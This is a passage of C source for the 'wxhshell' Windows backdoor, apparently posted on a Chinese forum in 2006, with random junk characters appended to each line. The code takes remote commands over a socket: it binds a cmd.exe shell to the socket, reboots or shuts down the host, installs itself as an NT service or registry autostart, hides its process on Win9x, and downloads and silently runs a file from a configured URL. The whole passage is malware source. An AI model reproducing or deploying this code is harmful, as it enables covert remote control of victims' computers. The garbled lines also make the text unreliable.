  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |4@cX<d.  
  } RL` E}:V  
  else { v2;E Wp  
'zUV(K?2]  
    switch(cmd[0]) { |m's)  
  OJe!K:  
  // 帮助 ]9YA~n\  
  case '?': { u> {aF{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qder8I  
    break; mx9vjW fy  
  } s@Q7F{z  
  // 安装 p"0#G&-  
  case 'i': { 1 uU$V =  
    if(Install()) ?Bu*%+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +R*DE5dz  
    else dj0%?g>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9`f@"%h  
    break; $FPq8$V  
    } (.#nl}fA  
  // 卸载 kK75(x  
  case 'r': { }d. X2?  
    if(Uninstall()) YoKE=ln7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i9ySD  
    else B#g~c<4<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0qN`-0Yk  
    break; _mm(W=KiL  
    } yY8zTWji_  
  // 显示 wxhshell 所在路径 Qz@_"wm[  
  case 'p': { KYiJXE[Q-  
    char svExeFile[MAX_PATH]; EDnNS  
    strcpy(svExeFile,"\n\r"); z6`0Uv~  
      strcat(svExeFile,ExeFile); -E}X`?WhD  
        send(wsh,svExeFile,strlen(svExeFile),0); v< P0f"GH  
    break; `KZV@t  
    } N:lE{IvRJ  
  // 重启 ,V1"Typ#<  
  case 'b': { _<Ak M"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b+~_/;Y9  
    if(Boot(REBOOT)) Z^'~iU-?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v]SxZLa  
    else { )WoH>D  
    closesocket(wsh); Z#.d7B"  
    ExitThread(0); *EuX7LEu_  
    } l,o'J%<%  
    break; 1m5l((d  
    } Ey7zb#/<!  
  // 关机 O>DS%6/G  
  case 'd': { y]Nk^ga:U6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =q VT  
    if(Boot(SHUTDOWN)) =2$ ( tXL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C_J@:HlJ  
    else { uX-^ 9t  
    closesocket(wsh); =d Q[I6  
    ExitThread(0); uGZGI;9f4  
    } |3~m8v2-  
    break; RG'iWA,9m`  
    } &5y  
  // 获取shell ^}P94(oz  
  case 's': { 1o&zA<+NY  
    CmdShell(wsh); nXn@|J&z~U  
    closesocket(wsh); $.D )Llcq  
    ExitThread(0); qWH^/o  
    break; i(% 2t(wf+  
  } 1 *' /B  
  // 退出 g|Lbe4?  
  case 'x': { W.^zN'a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BWxfY^,'&6  
    CloseIt(wsh); O7 ;=g!j  
    break; l 73% y  
    } H~yHSm 3  
  // 离开 ?pZ"7kkD  
  case 'q': { _#V&rY&@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e:HORc~U  
    closesocket(wsh); i+14!LlI  
    WSACleanup(); t"B3?<?]  
    exit(1); Ue \A ,  
    break; JtO}i{A  
        } },d^y:m  
  } )p>Cf_[.  
  } (#y2R F8j  
g7! LX[  
  // 提示信息 C<_\{de|9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xT 06*wQ  
} &pY '  
  } Movm1*&=  
P%:?"t+J`;  
  return; t{c:<nN  
} MiZ<v/L2  
ow'G&<0b  
// shell模块句柄 HrE,K\^  
int CmdShell(SOCKET sock) )n)AmNpq   
{ X{x(p  
STARTUPINFO si; ;h1hz^Wq  
ZeroMemory(&si,sizeof(si)); Tz)Ku  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |m KohV qr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LF7 }gQs ^  
PROCESS_INFORMATION ProcessInfo; l :{q I#Q  
char cmdline[]="cmd"; :m `D   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t*= nI $  
  return 0; >c_fUX={  
} oJD]h/fQs  
/W .s1N  
// 自身启动模式 9}QIqH\p  
int StartFromService(void) z6)N![ X  
{ UJ,vE}=_{  
typedef struct oaQW~R`_  
{ (eF[nfM  
  DWORD ExitStatus; QcrhgR  
  DWORD PebBaseAddress; 'ge$}L}4  
  DWORD AffinityMask; 9 C)VW  
  DWORD BasePriority; O1~7#nJ*4[  
  ULONG UniqueProcessId; |@_<^cV110  
  ULONG InheritedFromUniqueProcessId; ng/h6 S  
}   PROCESS_BASIC_INFORMATION; Q~(Qh_Ff  
7C'@g)@^/  
PROCNTQSIP NtQueryInformationProcess; __eB 7]#E  
wb9(aS4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dDA8IW![S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @&G}'6vF!  
Vz0(D  
  HANDLE             hProcess; D]_6OlIE#'  
  PROCESS_BASIC_INFORMATION pbi; ~IYR&GEaUG  
{XIpH r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *` mxv0w~(  
  if(NULL == hInst ) return 0; q6pHL  
Ye]K 74M.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lD0a<L 3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gx$m"Jeq\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k6"(\d9o  
Pm6U:RL  
  if (!NtQueryInformationProcess) return 0; R +@|#!  
MhA4C 8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vLxaZWr  
  if(!hProcess) return 0; 5/Qu5/  
+F q_w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rrz([2E2  
l7uTk5  
  CloseHandle(hProcess); @k{q[6c2 n  
9n is8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C&Qt*V#,  
if(hProcess==NULL) return 0; i#4+l$q  
f/c&Ya(D~  
HMODULE hMod; C$0u-Nx8  
char procName[255]; bM"?^\a&Q  
unsigned long cbNeeded; P>rRD`Yy\  
g^H,EaPl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ujnT B*Cqc  
I(AlRh  
  CloseHandle(hProcess); ZxSnqbyA*  
QDW,e]A  
if(strstr(procName,"services")) return 1; // 以服务启动 TgjjwcO Y  
D} B?~Lls  
  return 0; // 注册表启动 ~ Rk.x +  
} |=ph&9  
UF^[?M =  
// 主模块 x%`YV):*  
int StartWxhshell(LPSTR lpCmdLine) Wu* 4r0  
{ va_u4  
  SOCKET wsl; /ojx$Um  
BOOL val=TRUE; qCI7)L`  
  int port=0; \]4EAKJE  
  struct sockaddr_in door; qpFxl  
=8#.=J[/  
  if(wscfg.ws_autoins) Install(); ,mx\ -lWFy  
;Q,t65+Am  
port=atoi(lpCmdLine); 0?oL zw&  
p*5_+u  
if(port<=0) port=wscfg.ws_port; OqS!y( (  
5.ab/uk;M  
  WSADATA data; 4Cu\|"5)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X+sKG5nS  
PX/Y?DP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C_>XtcU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~tWh6-:|{J  
  door.sin_family = AF_INET; M.,DXEZT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #8M?y*<I  
  door.sin_port = htons(port); l!XCYg@67  
~C^:SND7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  !AJkd.  
closesocket(wsl); O$r/ {{I.  
return 1; (/<Nh7C1c  
} sQA_6]`  
~n@rX=Y)]0  
  if(listen(wsl,2) == INVALID_SOCKET) { 'u x!:b"  
closesocket(wsl); O'IU1sU  
return 1; ms5?^kS2O  
} ?R)dx uj  
  Wxhshell(wsl); tqpO3  
  WSACleanup(); XQn1B3k+  
`XH0S`B  
return 0; ;PC!  
w>9d^kU'  
} J)n_u),  
=K0%bI  
// 以NT服务方式启动 gIz!~I_U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pD({"A.x9z  
{ MhCU; !  
DWORD   status = 0; 9MfU{4:;I  
  DWORD   specificError = 0xfffffff; yIn$ApSGY  
? -:2f#bC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 11"r FZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q 0F6MAXj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fWq*Op.]c  
  serviceStatus.dwWin32ExitCode     = 0; V:L%GWU  
  serviceStatus.dwServiceSpecificExitCode = 0; DFWO5Y_  
  serviceStatus.dwCheckPoint       = 0; h_#=f(.'j  
  serviceStatus.dwWaitHint       = 0; u#EcR}=]  
XEA5A.uc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cQhr{W,Un  
  if (hServiceStatusHandle==0) return; v]{UH {6  
=MQ/z#:-P  
status = GetLastError(); .\_RavW23  
  if (status!=NO_ERROR) T4wk$R L  
{ `K5*Fjx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [HY r|T  
    serviceStatus.dwCheckPoint       = 0; 4zS0kk;+  
    serviceStatus.dwWaitHint       = 0; =[]6NjKS,  
    serviceStatus.dwWin32ExitCode     = status; ciODTq?  
    serviceStatus.dwServiceSpecificExitCode = specificError; D {Ol8:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gep#o$P  
    return; R6(:l; W  
  } hm73Zy  
RV  V`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1b1Ab zN  
  serviceStatus.dwCheckPoint       = 0; Q >/,QX  
  serviceStatus.dwWaitHint       = 0; seEo)m`d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T%)E!:}v  
} {>1FZsR49t  
?v M9 !  
// 处理NT服务事件,比如:启动、停止 ecs 0iW-,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +`GtZnt#  
{ 1X5g(B  
switch(fdwControl) JXJ+lZmsz  
{ u|t l@_  
case SERVICE_CONTROL_STOP: 8-x-?7  
  serviceStatus.dwWin32ExitCode = 0; L_Gw:"-+Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z4SJxL  
  serviceStatus.dwCheckPoint   = 0; *p $0(bz  
  serviceStatus.dwWaitHint     = 0; /_l\7MeI  
  { BJUj#s0$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $!>.h*np  
  } P!|Z%H  
  return; PX|@D_%Y=  
case SERVICE_CONTROL_PAUSE: Z,#H\1v3lB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nte?a e  
  break; HCN/|z1Xq  
case SERVICE_CONTROL_CONTINUE: *z VN6wG{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qMJJBl  
  break; 6E}9uwQ  
case SERVICE_CONTROL_INTERROGATE: wv3,% lN  
  break; QKj0~ia 5  
}; 6`CRT TJ7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EWD^=VITL  
} '3672wF/  
Ldjz-  
// 标准应用程序主函数 #3qeRl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nFn!6,>E  
{ z;S-Q,  
3>1^$0iq  
// 获取操作系统版本 nf /*n  
OsIsNt=GetOsVer(); p?Azn>qBa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lNL=Yu2p_  
xW`y7Q}p  
  // 从命令行安装 D|9+:Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); PoF3fy%.  
<R$ 2x_  
  // 下载执行文件 N;|^C{uz  
if(wscfg.ws_downexe) { sWYnoRxu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) } jj)  
  WinExec(wscfg.ws_filenam,SW_HIDE); hX{,P:d=f  
} w2nReB z  
{Uw 0zC  
if(!OsIsNt) { =D/zC'l  
// 如果时win9x,隐藏进程并且设置为注册表启动 O6;"cUv  
HideProc(); tON>wmN  
StartWxhshell(lpCmdLine); pIlEoG=[_  
} a<G&}|6  
else <:&vAX L  
  if(StartFromService()) q ;'f3Y  
  // 以服务方式启动 |GnTRahV.  
  StartServiceCtrlDispatcher(DispatchTable); uatUo  
else yU v YV-7  
  // 普通方式启动 yQ2=d5'V`  
  StartWxhshell(lpCmdLine); &j 4pC$Dj  
)Zr9 `3[  
return 0; =hKAwk/^  
}
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只看该作者 1 发表于: 2006-10-10
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